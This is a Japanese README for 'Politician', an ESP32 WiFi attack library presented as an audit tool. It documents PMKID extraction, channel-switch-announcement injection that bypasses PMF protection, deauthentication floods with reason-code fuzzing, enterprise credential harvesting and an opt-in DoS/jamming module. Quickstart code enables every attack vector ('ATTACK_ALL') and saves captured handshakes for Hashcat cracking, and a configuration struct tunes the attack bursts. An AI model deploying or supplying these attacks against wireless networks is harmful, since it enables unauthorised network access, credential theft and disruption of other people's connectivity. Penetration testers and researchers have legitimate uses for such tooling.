
最新の802.11技術を活用したESP32向けの最新WiFi監査ライブラリ。PMKID抽出とCSAインジェクション(PMF回避)によりWPA/WPA2/WPA3ハンドシェイクをキャプチャ。エンタープライズ認証情報を収集し、デュアルバンド(ESP32-C6で2.4GHz/5GHz)に対応、PCAPNG/Hashcatにエクスポート。クリーンなC++ API、9つのサンプル付き。
ESP32マイクロコントローラ向けの高度なWiFi監査ライブラリ
Politicianは、ESP32プラットフォーム上でのWiFiセキュリティ監査のために設計された組み込みC++ライブラリです。高度な802.11プロトコル技術を使用して、WPA/WPA2/WPA3ハンドシェイクのキャプチャとエンタープライズ認証情報の収集を行うための、クリーンでモダンなAPIを提供します。
このライブラリは、チャネルホッピング、ターゲット選択、攻撃実行、キャプチャ処理を管理する非ブロッキングステートマシンを中心に構築されています。すべての操作は politician 名前空間内に含まれています。
| Component | Description |
|---|---|
Politician | 監査ライフサイクルを管理するメインエンジンクラス |
PoliticianFormat | PCAPNGキャプチャのシリアライズ; 補助的なHC22000テキストエクスポート |
PoliticianStorage | オプションのSDカードロギングとNVS永続化 |
PoliticianStress | 分離されたDoS/妨害ペイロード配信(オプトイン) |
PoliticianTypes | コアデータ構造と列挙型 |
従来の認証解除攻撃は、Protected Management Frames (PMF/802.11w) を備えた現代のWPA3およびWPA2ネットワークに対しては無効です。Politicianは現代的な代替手段を実装しています:
| Mode | Description | Effectiveness |
|---|---|---|
ATTACK_PMKID | ダミー認証によるPMKIDの抽出 | すべてのWPA2/WPA3-Transitionで動作 |
ATTACK_CSA | チャネルスイッチアナウンスインジェクション | PMF保護をバイパス |
ATTACK_DEAUTH | 従来の認証解除(Reason 7) | PMFなしのWPA2のみ |
ATTACK_STIMULATE | スリープ中のクライアント向けQoS Null Data | 非侵入型クライアント起動 |
ATTACK_PASSIVE | リスンのみモード | 送信ゼロ |
ATTACK_ALL | すべてのアクティブ攻撃ベクトルを有効化 | 最大限の攻撃性 |
platformio.ini に追加:```ini
[env:myboard]
platform = espressif32
board = esp32dev
framework = arduino
lib_deps =
Politician
または、プロジェクトの `lib/` ディレクトリに直接クローンしてください:```bash
cd lib/
git clone https://github.com/0ldev/Politician.git
リポジトリをプロジェクトの components/ ディレクトリにクローンしてください:```bash
cd components/
git clone https://github.com/0ldev/Politician.git
`components/Politician/CMakeLists.txt` コンポーネント記述子を作成します:```cmake
idf_component_register(
SRCS
"src/Politician.cpp"
"src/PoliticianFormat.cpp"
"src/PoliticianStress.cpp"
INCLUDE_DIRS "src"
)
PoliticianStorage.h は ESP-IDF では利用できません。Arduino 外でインクルードするとコンパイル時に #error が発生します。永続化が必要な場合は、ESP-IDF の VFS および nvs_flash API を直接使用してください。
#include <Arduino.h> #include <SD.h> #include <Politician.h> #include <PoliticianStorage.h>
using namespace politician; using namespace politician::storage;
Politician engine;
void onHandshake(const HandshakeRecord &rec) { Serial.printf("\n[✓] Captured: %s ch%d rssi=%d type=%d\n", rec.ssid, rec.channel, rec.rssi, rec.type); // Primary output: PCAPNG — open in Wireshark or convert with hcxpcapngtool PcapngFileLogger::append(SD, "/captures.pcapng", rec); }
void setup() { Serial.begin(115200); SD.begin();
engine.setEapolCallback(onHandshake);
Config cfg;
engine.begin(cfg);
engine.setAttackMask(ATTACK_ALL);
}
void loop() { engine.tick(); }
### Bare ESP-IDF クイックスタート
ESP-IDFでは、`begin()`は内部的に`esp_wifi_init()`を呼び出しますが、NVSとデフォルトのイベントループがすでに初期化されていることを前提としています。それらを`begin()`の前に呼び出し、その後FreeRTOSタスクからエンジンを駆動します。```cpp
#include <nvs_flash.h>
#include <esp_event.h>
#include <freertos/FreeRTOS.h>
#include <freertos/task.h>
#include <Politician.h>
using namespace politician;
static Politician engine;
static void on_handshake(const HandshakeRecord &rec) {
printf("[+] Captured: %s ch%d rssi=%d type=%d\n",
rec.ssid, rec.channel, rec.rssi, rec.type);
}
static void audit_task(void *) {
Config cfg;
engine.setEapolCallback(on_handshake);
if (engine.begin(cfg) != OK) {
printf("[!] WiFi init failed\n");
vTaskDelete(nullptr);
return;
}
engine.setAttackMask(ATTACK_ALL);
for (;;) {
engine.tick();
vTaskDelay(pdMS_TO_TICKS(1));
}
}
extern "C" void app_main(void) {
nvs_flash_init();
esp_event_loop_create_default();
xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}
メインエンジンクラスです。メインループで tick() を呼び出す必要があります。
Error begin(const Config& cfg = Config());
エンジンを初期化します。成功時は `OK` を、失敗時は `Error` コードを返します。他のメソッドを呼び出す前に呼び出す必要があります。
#### 設定構造```cpp
struct Config {
uint16_t hop_dwell_ms = 200; // Static time spent on each channel (ms)
bool smart_hopping = true; // Dynamic channel dwell time based on traffic
uint16_t hop_min_dwell_ms = 50; // Minimum dwell if no traffic is seen
uint16_t hop_max_dwell_ms = 400; // Maximum dwell if traffic is active
uint32_t m1_lock_ms = 800; // How long to stay on channel after seeing M1
uint32_t fish_timeout_ms = 2000; // Timeout per PMKID association attempt
uint8_t fish_max_retries = 2; // PMKID retries before pivoting to CSA
uint32_t csa_wait_ms = 4000; // Wait window after CSA/Deauth burst
uint8_t csa_beacon_count = 8; // Number of CSA beacons per burst
uint8_t deauth_burst_count = 16; // Frames per standalone deauth burst
uint8_t csa_deauth_count = 15; // Deauth frames appended after CSA burst
uint16_t probe_aggr_interval_s = 30; // Seconds between re-attacking the same AP
uint32_t session_timeout_ms = 60000; // How long orphaned sessions live in RAM
bool capture_half_handshakes = false; // Fire callback on M2-only captures and pivot to active attack
bool skip_immune_networks = true; // Skip pure WPA3 / PMF-Required networks
uint8_t capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
int8_t min_rssi = -100; // Ignore APs weaker than this signal (dBm)
uint32_t ap_expiry_ms = 300000; // Evict APs not seen for this long (0 = never expire)
bool unicast_deauth = true; // Send deauth to known client MAC instead of broadcast
uint32_t probe_hidden_interval_ms = 0; // How often to probe hidden APs for SSID (0 = disabled, opt-in)
uint8_t deauth_reason = 7; // 802.11 reason code in deauth frames
bool deauth_reason_cycling = true; // Cycle through effective reason codes (fuzzing)
// ── Frame capture
bool capture_group_keys = false; // Fire eapolCb(CAP_EAPOL_GROUP) on GTK rotation frames
// ── Filtering
uint8_t min_beacon_count = 0; // Min times AP must be seen before attack/apFoundCb (0 = off)
uint8_t max_total_attempts = 0; // Permanently skip BSSID after N failed attacks (0 = unlimited)
uint8_t sta_filter[6] = {}; // Only record EAPOL from this client MAC (zero = no filter)
char ssid_filter[33] = {}; // Only cache APs matching this SSID (empty = no filter)
bool ssid_filter_exact = true; // True = exact match, false = substring match
uint8_t enc_filter_mask = 0xFF; // Bitmask of enc types to cache
bool require_active_clients = false; // Skip attack initiation if no active clients seen on AP
};